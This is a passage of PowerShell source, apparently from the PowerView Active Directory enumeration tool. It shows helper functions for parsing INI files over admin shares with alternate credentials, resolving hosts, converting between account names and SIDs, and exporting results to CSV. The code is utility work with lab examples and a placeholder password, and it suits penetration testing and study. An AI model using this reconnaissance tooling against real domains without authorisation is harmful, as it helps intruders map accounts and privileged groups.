1011 Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } |
1012 Select-Object -ExpandProperty Key |
1013 # Find unbound parameters in the current parameter set
1014 Where-Object { $PSBoundParameters.Keys -notcontains $_ }
1015
1016 # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)
1017 $tmp = $null
1018 ForEach ($Parameter in $UnboundParameters) {
1019 $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0
1020 if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {
1021 $PSBoundParameters.$Parameter = $DefaultValue
1022 }
1023 }
1024
1025 if($Dictionary) {
1026 $DPDictionary = $Dictionary
1027 }
1028 else {
1029 $DPDictionary = $InternalDictionary
1030 }
1031
1032 # Shortcut for getting local variables
1033 $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}
1034
1035 # Strings to match attributes and validation arguments
1036 $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$'
1037 $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$'
1038 $AliasRegex = '^Alias$'
1039 $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute
1040
1041 switch -regex ($PSBoundParameters.Keys) {
1042 $AttributeRegex {
1043 Try {
1044 $ParameterAttribute.$_ = . $GetVar
1045 }
1046 Catch {
1047 $_
1048 }
1049 continue
1050 }
1051 }
1052
1053 if($DPDictionary.Keys -contains $Name) {
1054 $DPDictionary.$Name.Attributes.Add($ParameterAttribute)
1055 }
1056 else {
1057 $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]
1058 switch -regex ($PSBoundParameters.Keys) {
1059 $ValidationRegex {
1060 Try {
1061 $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop
1062 $AttributeCollection.Add($ParameterOptions)
1063 }
1064 Catch { $_ }
1065 continue
1066 }
1067 $AliasRegex {
1068 Try {
1069 $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop
1070 $AttributeCollection.Add($ParameterAlias)
1071 continue
1072 }
1073 Catch { $_ }
1074 }
1075 }
1076 $AttributeCollection.Add($ParameterAttribute)
1077 $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)
1078 $DPDictionary.Add($Name, $Parameter)
1079 }
1080 }
1081 }
1082
1083 End {
1084 if(!$CreateVariables -and !$Dictionary) {
1085 $DPDictionary
1086 }
1087 }
1088}
1089
1090
1091function Get-IniContent {
1092<#
1093.SYNOPSIS
1094
1095This helper parses an .ini file into a hashtable.
1096
1097Author: 'The Scripting Guys'
1098Modifications: @harmj0y (-Credential support)
1099License: BSD 3-Clause
1100Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
1101
1102.DESCRIPTION
1103
1104Parses an .ini file into a hashtable. If -Credential is supplied,
1105then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file
1106is parsed, and then the connection is destroyed with Remove-RemoteConnection.
1107
1108.PARAMETER Path
1109
1110Specifies the path to the .ini file to parse.
1111
1112.PARAMETER OutputObject
1113
1114Switch. Output a custom PSObject instead of a hashtable.
1115
1116.PARAMETER Credential
1117
1118A [Management.Automation.PSCredential] object of alternate credentials
1119for connection to the remote system.
1120
1121.EXAMPLE
1122
1123Get-IniContent C:\Windows\example.ini
1124
1125.EXAMPLE
1126
1127"C:\Windows\example.ini" | Get-IniContent -OutputObject
1128
1129Outputs the .ini details as a proper nested PSObject.
1130
1131.EXAMPLE
1132
1133"C:\Windows\example.ini" | Get-IniContent
1134
1135.EXAMPLE
1136
1137$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
1138$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
1139Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred
1140
1141.INPUTS
1142
1143String
1144
1145Accepts one or more .ini paths on the pipeline.
1146
1147.OUTPUTS
1148
1149Hashtable
1150
1151Ouputs a hashtable representing the parsed .ini file.
1152
1153.LINK
1154
1155https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
1156#>
1157
1158 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
1159 [OutputType([Hashtable])]
1160 [CmdletBinding()]
1161 Param(
1162 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1163 [Alias('FullName', 'Name')]
1164 [ValidateNotNullOrEmpty()]
1165 [String[]]
1166 $Path,
1167
1168 [Management.Automation.PSCredential]
1169 [Management.Automation.CredentialAttribute()]
1170 $Credential = [Management.Automation.PSCredential]::Empty,
1171
1172 [Switch]
1173 $OutputObject
1174 )
1175
1176 BEGIN {
1177 $MappedComputers = @{}
1178 }
1179
1180 PROCESS {
1181 ForEach ($TargetPath in $Path) {
1182 if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
1183 $HostComputer = (New-Object System.Uri($TargetPath)).Host
1184 if (-not $MappedComputers[$HostComputer]) {
1185 # map IPC$ to this computer if it's not already
1186 Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
1187 $MappedComputers[$HostComputer] = $True
1188 }
1189 }
1190
1191 if (Test-Path -Path $TargetPath) {
1192 if ($PSBoundParameters['OutputObject']) {
1193 $IniObject = New-Object PSObject
1194 }
1195 else {
1196 $IniObject = @{}
1197 }
1198 Switch -Regex -File $TargetPath {
1199 "^\[(.+)\]" # Section
1200 {
1201 $Section = $matches[1].Trim()
1202 if ($PSBoundParameters['OutputObject']) {
1203 $Section = $Section.Replace(' ', '')
1204 $SectionObject = New-Object PSObject
1205 $IniObject | Add-Member Noteproperty $Section $SectionObject
1206 }
1207 else {
1208 $IniObject[$Section] = @{}
1209 }
1210 $CommentCount = 0
1211 }
1212 "^(;.*)$" # Comment
1213 {
1214 $Value = $matches[1].Trim()
1215 $CommentCount = $CommentCount + 1
1216 $Name = 'Comment' + $CommentCount
1217 if ($PSBoundParameters['OutputObject']) {
1218 $Name = $Name.Replace(' ', '')
1219 $IniObject.$Section | Add-Member Noteproperty $Name $Value
1220 }
1221 else {
1222 $IniObject[$Section][$Name] = $Value
1223 }
1224 }
1225 "(.+?)\s*=(.*)" # Key
1226 {
1227 $Name, $Value = $matches[1..2]
1228 $Name = $Name.Trim()
1229 $Values = $Value.split(',') | ForEach-Object { $_.Trim() }
1230
1231 # if ($Values -isnot [System.Array]) { $Values = @($Values) }
1232
1233 if ($PSBoundParameters['OutputObject']) {
1234 $Name = $Name.Replace(' ', '')
1235 $IniObject.$Section | Add-Member Noteproperty $Name $Values
1236 }
1237 else {
1238 $IniObject[$Section][$Name] = $Values
1239 }
1240 }
1241 }
1242 $IniObject
1243 }
1244 }
1245 }
1246
1247 END {
1248 # remove the IPC$ mappings
1249 $MappedComputers.Keys | Remove-RemoteConnection
1250 }
1251}
1252
1253
1254function Export-PowerViewCSV {
1255<#
1256.SYNOPSIS
1257
1258Converts objects into a series of comma-separated (CSV) strings and saves the
1259strings in a CSV file in a thread-safe manner.
1260
1261Author: Will Schroeder (@harmj0y)
1262License: BSD 3-Clause
1263Required Dependencies: None
1264
1265.DESCRIPTION
1266
1267This helper exports an -InputObject to a .csv in a thread-safe manner
1268using a mutex. This is so the various multi-threaded functions in
1269PowerView has a thread-safe way to export output to the same file.
1270Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
1271
1272Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
1273
1274.PARAMETER InputObject
1275
1276Specifies the objects to export as CSV strings.
1277
1278.PARAMETER Path
1279
1280Specifies the path to the CSV output file.
1281
1282.PARAMETER Delimiter
1283
1284Specifies a delimiter to separate the property values. The default is a comma (,)
1285
1286.PARAMETER Append
1287
1288Indicates that this cmdlet adds the CSV output to the end of the specified file.
1289Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
1290
1291.EXAMPLE
1292
1293Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
1294
1295.EXAMPLE
1296
1297Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
1298
1299.INPUTS
1300
1301PSObject
1302
1303Accepts one or more PSObjects on the pipeline.
1304
1305.LINK
1306
1307http://poshcode.org/1590
1308http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
1309#>
1310
1311 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
1312 [CmdletBinding()]
1313 Param(
1314 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1315 [System.Management.Automation.PSObject[]]
1316 $InputObject,
1317
1318 [Parameter(Mandatory = $True, Position = 1)]
1319 [ValidateNotNullOrEmpty()]
1320 [String]
1321 $Path,
1322
1323 [Parameter(Position = 2)]
1324 [ValidateNotNullOrEmpty()]
1325 [Char]
1326 $Delimiter = ',',
1327
1328 [Switch]
1329 $Append
1330 )
1331
1332 BEGIN {
1333 $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
1334 $Exists = [System.IO.File]::Exists($OutputPath)
1335
1336 # mutex so threaded code doesn't stomp on the output file
1337 $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
1338 $Null = $Mutex.WaitOne()
1339
1340 if ($PSBoundParameters['Append']) {
1341 $FileMode = [System.IO.FileMode]::Append
1342 }
1343 else {
1344 $FileMode = [System.IO.FileMode]::Create
1345 $Exists = $False
1346 }
1347
1348 $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)
1349 $CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
1350 $CSVWriter.AutoFlush = $True
1351 }
1352
1353 PROCESS {
1354 ForEach ($Entry in $InputObject) {
1355 $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
1356
1357 if (-not $Exists) {
1358 # output the object field names as well
1359 $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
1360 $Exists = $True
1361 }
1362 else {
1363 # only output object field data
1364 $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
1365 }
1366 }
1367 }
1368
1369 END {
1370 $Mutex.ReleaseMutex()
1371 $CSVWriter.Dispose()
1372 $CSVStream.Dispose()
1373 }
1374}
1375
1376
1377function Resolve-IPAddress {
1378<#
1379.SYNOPSIS
1380
1381Resolves a given hostename to its associated IPv4 address.
1382
1383Author: Will Schroeder (@harmj0y)
1384License: BSD 3-Clause
1385Required Dependencies: None
1386
1387.DESCRIPTION
1388
1389Resolves a given hostename to its associated IPv4 address using
1390[Net.Dns]::GetHostEntry(). If no hostname is provided, the default
1391is the IP address of the localhost.
1392
1393.EXAMPLE
1394
1395Resolve-IPAddress -ComputerName SERVER
1396
1397.EXAMPLE
1398
1399@("SERVER1", "SERVER2") | Resolve-IPAddress
1400
1401.INPUTS
1402
1403String
1404
1405Accepts one or more IP address strings on the pipeline.
1406
1407.OUTPUTS
1408
1409System.Management.Automation.PSCustomObject
1410
1411A custom PSObject with the ComputerName and IPAddress.
1412#>
1413
1414 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
1415 [OutputType('System.Management.Automation.PSCustomObject')]
1416 [CmdletBinding()]
1417 Param(
1418 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1419 [Alias('HostName', 'dnshostname', 'name')]
1420 [ValidateNotNullOrEmpty()]
1421 [String[]]
1422 $ComputerName = $Env:COMPUTERNAME
1423 )
1424
1425 PROCESS {
1426 ForEach ($Computer in $ComputerName) {
1427 try {
1428 @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
1429 if ($_.AddressFamily -eq 'InterNetwork') {
1430 $Out = New-Object PSObject
1431 $Out | Add-Member Noteproperty 'ComputerName' $Computer
1432 $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
1433 $Out
1434 }
1435 }
1436 }
1437 catch {
1438 Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
1439 }
1440 }
1441 }
1442}
1443
1444
1445function ConvertTo-SID {
1446<#
1447.SYNOPSIS
1448
1449Converts a given user/group name to a security identifier (SID).
1450
1451Author: Will Schroeder (@harmj0y)
1452License: BSD 3-Clause
1453Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain
1454
1455.DESCRIPTION
1456
1457Converts a "DOMAIN\username" syntax to a security identifier (SID)
1458using System.Security.Principal.NTAccount's translate function. If alternate
1459credentials are supplied, then Get-ADObject is used to try to map the name
1460to a security identifier.
1461
1462.PARAMETER ObjectName
1463
1464The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
1465
1466.PARAMETER Domain
1467
1468Specifies the domain to use for the translation, defaults to the current domain.
1469
1470.PARAMETER Server
1471
1472Specifies an Active Directory server (domain controller) to bind to for the translation.
1473
1474.PARAMETER Credential
1475
1476Specifies an alternate credential to use for the translation.
1477
1478.EXAMPLE
1479
1480ConvertTo-SID 'DEV\dfm'
1481
1482.EXAMPLE
1483
1484'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
1485
1486.EXAMPLE
1487
1488$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
1489$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
1490'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
1491
1492.INPUTS
1493
1494String
1495
1496Accepts one or more username specification strings on the pipeline.
1497
1498.OUTPUTS
1499
1500String
1501
1502A string representing the SID of the translated name.
1503#>
1504
1505 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
1506 [OutputType([String])]
1507 [CmdletBinding()]
1508 Param(
1509 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1510 [Alias('Name', 'Identity')]
1511 [String[]]
1512 $ObjectName,
1513
1514 [ValidateNotNullOrEmpty()]
1515 [String]
1516 $Domain,
1517
1518 [ValidateNotNullOrEmpty()]
1519 [Alias('DomainController')]
1520 [String]
1521 $Server,
1522
1523 [Management.Automation.PSCredential]
1524 [Management.Automation.CredentialAttribute()]
1525 $Credential = [Management.Automation.PSCredential]::Empty
1526 )
1527
1528 BEGIN {
1529 $DomainSearcherArguments = @{}
1530 if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }
1531 if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }
1532 if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }
1533 }
1534
1535 PROCESS {
1536 ForEach ($Object in $ObjectName) {
1537 $Object = $Object -Replace '/','\'
1538
1539 if ($PSBoundParameters['Credential']) {
1540 $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments
1541 if ($DN) {
1542 $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
1543 $UserName = $DN.Split(',')[0].split('=')[1]
1544
1545 $DomainSearcherArguments['Identity'] = $UserName
1546 $DomainSearcherArguments['Domain'] = $UserDomain
1547 $DomainSearcherArguments['Properties'] = 'objectsid'
1548 Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid
1549 }
1550 }
1551 else {
1552 try {
1553 if ($Object.Contains('\')) {
1554 $Domain = $Object.Split('\')[0]
1555 $Object = $Object.Split('\')[1]
1556 }
1557 elseif (-not $PSBoundParameters['Domain']) {
1558 $DomainSearcherArguments = @{}
1559 $Domain = (Get-Domain @DomainSearcherArguments).Name
1560 }
1561
1562 $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))
1563 $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
1564 }
1565 catch {
1566 Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"
1567 }
1568 }
1569 }
1570 }
1571}
1572
1573
1574function ConvertFrom-SID {
1575<#
1576.SYNOPSIS
1577
1578Converts a security identifier (SID) to a group/user name.
1579
1580Author: Will Schroeder (@harmj0y)
1581License: BSD 3-Clause
1582Required Dependencies: Convert-ADName
1583
1584.DESCRIPTION
1585
1586Converts a security identifier string (SID) to a group/user name
1587using Convert-ADName.
1588
1589.PARAMETER ObjectSid
1590
1591Specifies one or more SIDs to convert.
1592
1593.PARAMETER Domain
1594
1595Specifies the domain to use for the translation, defaults to the current domain.
1596
1597.PARAMETER Server
1598
1599Specifies an Active Directory server (domain controller) to bind to for the translation.
1600
1601.PARAMETER Credential
1602
1603Specifies an alternate credential to use for the translation.
1604
1605.EXAMPLE
1606
1607ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
1608
1609TESTLAB\harmj0y
1610
1611.EXAMPLE
1612
1613"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
1614
1615TESTLAB\WINDOWS2$
1616TESTLAB\harmj0y
1617BUILTIN\Distributed COM Users
1618
1619.EXAMPLE
1620
1621$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
1622$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
1623ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred
1624
1625TESTLAB\harmj0y
1626
1627.INPUTS
1628
1629String
1630
1631Accepts one or more SID strings on the pipeline.
1632
1633.OUTPUTS
1634
1635String
1636
1637The converted DOMAIN\username.
1638#>
1639
1640 [OutputType([String])]
1641 [CmdletBinding()]
1642 Param(
1643 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1644 [Alias('SID')]
1645 [ValidatePattern('^S-1-.*')]
1646 [String[]]
1647 $ObjectSid,
1648
1649 [ValidateNotNullOrEmpty()]
1650 [String]
1651 $Domain,
1652
1653 [ValidateNotNullOrEmpty()]
1654 [Alias('DomainController')]
1655 [String]
1656 $Server,
1657
1658 [Management.Automation.PSCredential]
1659 [Management.Automation.CredentialAttribute()]
1660 $Credential = [Management.Automation.PSCredential]::Empty
1661 )
1662
1663 BEGIN {
1664 $ADNameArguments = @{}
1665 if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
1666 if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
1667 if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
1668 }
1669
1670 PROCESS {
1671 ForEach ($TargetSid in $ObjectSid) {
1672 $TargetSid = $TargetSid.trim('*')
1673 try {
1674 # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330
1675 Switch ($TargetSid) {
1676 'S-1-0' { 'Null Authority' }
1677 'S-1-0-0' { 'Nobody' }
1678 'S-1-1' { 'World Authority' }
1679 'S-1-1-0' { 'Everyone' }
1680 'S-1-2' { 'Local Authority' }
1681 'S-1-2-0' { 'Local' }
1682 'S-1-2-1' { 'Console Logon ' }
1683 'S-1-3' { 'Creator Authority' }
1684 'S-1-3-0' { 'Creator Owner' }
1685 'S-1-3-1' { 'Creator Group' }
1686 'S-1-3-2' { 'Creator Owner Server' }
1687 'S-1-3-3' { 'Creator Group Server' }
1688 'S-1-3-4' { 'Owner Rights' }
1689 'S-1-4' { 'Non-unique Authority' }
1690 'S-1-5' { 'NT Authority' }
1691 'S-1-5-1' { 'Dialup' }
1692 'S-1-5-2' { 'Network' }
1693 'S-1-5-3' { 'Batch' }
1694 'S-1-5-4' { 'Interactive' }
1695 'S-1-5-6' { 'Service' }
1696 'S-1-5-7' { 'Anonymous' }
1697 'S-1-5-8' { 'Proxy' }
1698 'S-1-5-9' { 'Enterprise Domain Controllers' }
1699 'S-1-5-10' { 'Principal Self' }
1700 'S-1-5-11' { 'Authenticated Users' }
1701 'S-1-5-12' { 'Restricted Code' }
1702 'S-1-5-13' { 'Terminal Server Users' }
1703 'S-1-5-14' { 'Remote Interactive Logon' }
1704 'S-1-5-15' { 'This Organization ' }
1705 'S-1-5-17' { 'This Organization ' }
1706 'S-1-5-18' { 'Local System' }
1707 'S-1-5-19' { 'NT Authority' }
1708 'S-1-5-20' { 'NT Authority' }
1709 'S-1-5-80-0' { 'All Services ' }
1710 'S-1-5-32-544' { 'BUILTIN\Administrators' }
1711 'S-1-5-32-545' { 'BUILTIN\Users' }
1712 'S-1-5-32-546' { 'BUILTIN\Guests' }
1713 'S-1-5-32-547' { 'BUILTIN\Power Users' }
1714 'S-1-5-32-548' { 'BUILTIN\Account Operators' }
1715 'S-1-5-32-549' { 'BUILTIN\Server Operators' }
1716 'S-1-5-32-550' { 'BUILTIN\Print Operators' }
1717 'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
1718 'S-1-5-32-552' { 'BUILTIN\Replicators' }
1719 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
1720 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
1721 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
1722 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
1723 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
1724 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
1725 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
1726 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
1727 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
1728 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
1729 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
1730 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
1731 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
1732 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
1733 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
1734 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
1735 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
1736 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
1737 Default {
1738 Convert-ADName -Identity $TargetSid @ADNameArguments
1739 }
1740 }
1741 }
1742 catch {
1743 Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_"
1744 }
1745 }
1746 }
1747}
1748
1749
1750function Convert-ADName {
1751<#
1752.SYNOPSIS
1753
1754Converts Active Directory object names between a variety of formats.
1755
1756Author: Bill Stewart, Pasquale Lantella
1757Modifications: Will Schroeder (@harmj0y)
1758License: BSD 3-Clause
1759Required Dependencies: None
1760
1761.DESCRIPTION
1762
1763This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)
1764and translates Active Directory names between various formats using the NameTranslate COM object.
1765
1766.PARAMETER Identity
1767
1768Specifies the Active Directory object name to translate, of the following form:
1769
1770 DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
1771 Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
1772 NT4 domain\username; e.g., 'fabrikam\pflynn'
1773 Display display name, e.g. 'pflynn'
1774 DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
1775 EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
1776 GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
1777 UPN user principal name; e.g., 'pflynn@fabrikam.com'
1778 CanonicalEx extended canonical name format
1779 SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
1780 SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999'
1781
1782.PARAMETER OutputType
1783
1784Specifies the output name type you want to convert to, which must be one of the following:
1785
1786 DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
1787 Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
1788 NT4 domain\username; e.g., 'fabrikam\pflynn'
1789 Display display name, e.g. 'pflynn'
1790 DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
1791 EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
1792 GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
1793 UPN user principal name; e.g., 'pflynn@fabrikam.com'
1794 CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'
1795 SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
1796
1797.PARAMETER Domain
1798
1799Specifies the domain to use for the translation, defaults to the current domain.
1800
1801.PARAMETER Server
1802
1803Specifies an Active Directory server (domain controller) to bind to for the translation.
1804
1805.PARAMETER Credential
1806
1807Specifies an alternate credential to use for the translation.
1808
1809.EXAMPLE
1810
1811Convert-ADName -Identity "TESTLAB\harmj0y"
1812
1813harmj0y@testlab.local
1814
1815.EXAMPLE
1816
1817"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical
1818
1819testlab.local/Users/krbtgt
1820testlab.local/Users/Administrator
1821
1822.EXAMPLE
1823
1824Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
1825
1826CN=harmj0y,CN=Users,DC=testlab,DC=local
1827
1828.EXAMPLE
1829
1830$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
1831$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
1832'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred
1833
1834TESTLAB\harmj0y
1835
1836.INPUTS
1837
1838String
1839
1840Accepts one or more objects name strings on the pipeline.
1841
1842.OUTPUTS
1843
1844String
1845
1846Outputs a string representing the converted name.
1847
1848.LINK
1849
1850http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
1851https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
1852#>
1853
1854 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
1855 [OutputType([String])]
1856 [CmdletBinding()]
1857 Param(
1858 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1859 [Alias('Name', 'ObjectName')]
1860 [String[]]
1861 $Identity,
1862
1863 [String]
1864 [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]
1865 $OutputType,
1866
1867 [ValidateNotNullOrEmpty()]
1868 [String]
1869 $Domain,
1870
1871 [ValidateNotNullOrEmpty()]
1872 [Alias('DomainController')]
1873 [String]
1874 $Server,
1875
1876 [Management.Automation.PSCredential]
1877 [Management.Automation.CredentialAttribute()]
1878 $Credential = [Management.Automation.PSCredential]::Empty
1879 )
1880
1881 BEGIN {
1882 $NameTypes = @{
1883 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com
1884 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn
1885 'NT4' = 3 # fabrikam\pflynn
1886 'Display' = 4 # pflynn
1887 'DomainSimple' = 5 # pflynn@fabrikam.com
1888 'EnterpriseSimple' = 6 # pflynn@fabrikam.com
1889 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436}
1890 'Unknown' = 8 # unknown type - let the server do translation
1891 'UPN' = 9 # pflynn@fabrikam.com
1892 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn
1893 'SPN' = 11 # HTTP/kairomac.contoso.com
1894 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999
1895 }
1896
1897 # accessor functions from Bill Stewart to simplify calls to NameTranslate
1898 function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
1899 $Output = $Null
1900 $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters)
1901 Write-Output $Output
1902 }
1903
1904 function Get-Property([__ComObject] $Object, [String] $Property) {
1905 $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)
1906 }
1907
1908 function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
1909 [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters)
1910 }
1911
1912 # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
1913 if ($PSBoundParameters['Server']) {
1914 $ADSInitType = 2
1915 $InitName = $Server
1916 }
1917 elseif ($PSBoundParameters['Domain']) {
1918 $ADSInitType = 1
1919 $InitName = $Domain
1920 }
1921 elseif ($PSBoundParameters['Credential']) {
1922 $Cred = $Credential.GetNetworkCredential()
1923 $ADSInitType = 1
1924 $InitName = $Cred.Domain
1925 }
1926 else {
1927 # if no domain or server is specified, default to GC initialization
1928 $ADSInitType = 3
1929 $InitName = $Null
1930 }
1931 }
1932
1933 PROCESS {
1934 ForEach ($TargetIdentity in $Identity) {
1935 if (-not $PSBoundParameters['OutputType']) {
1936 if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
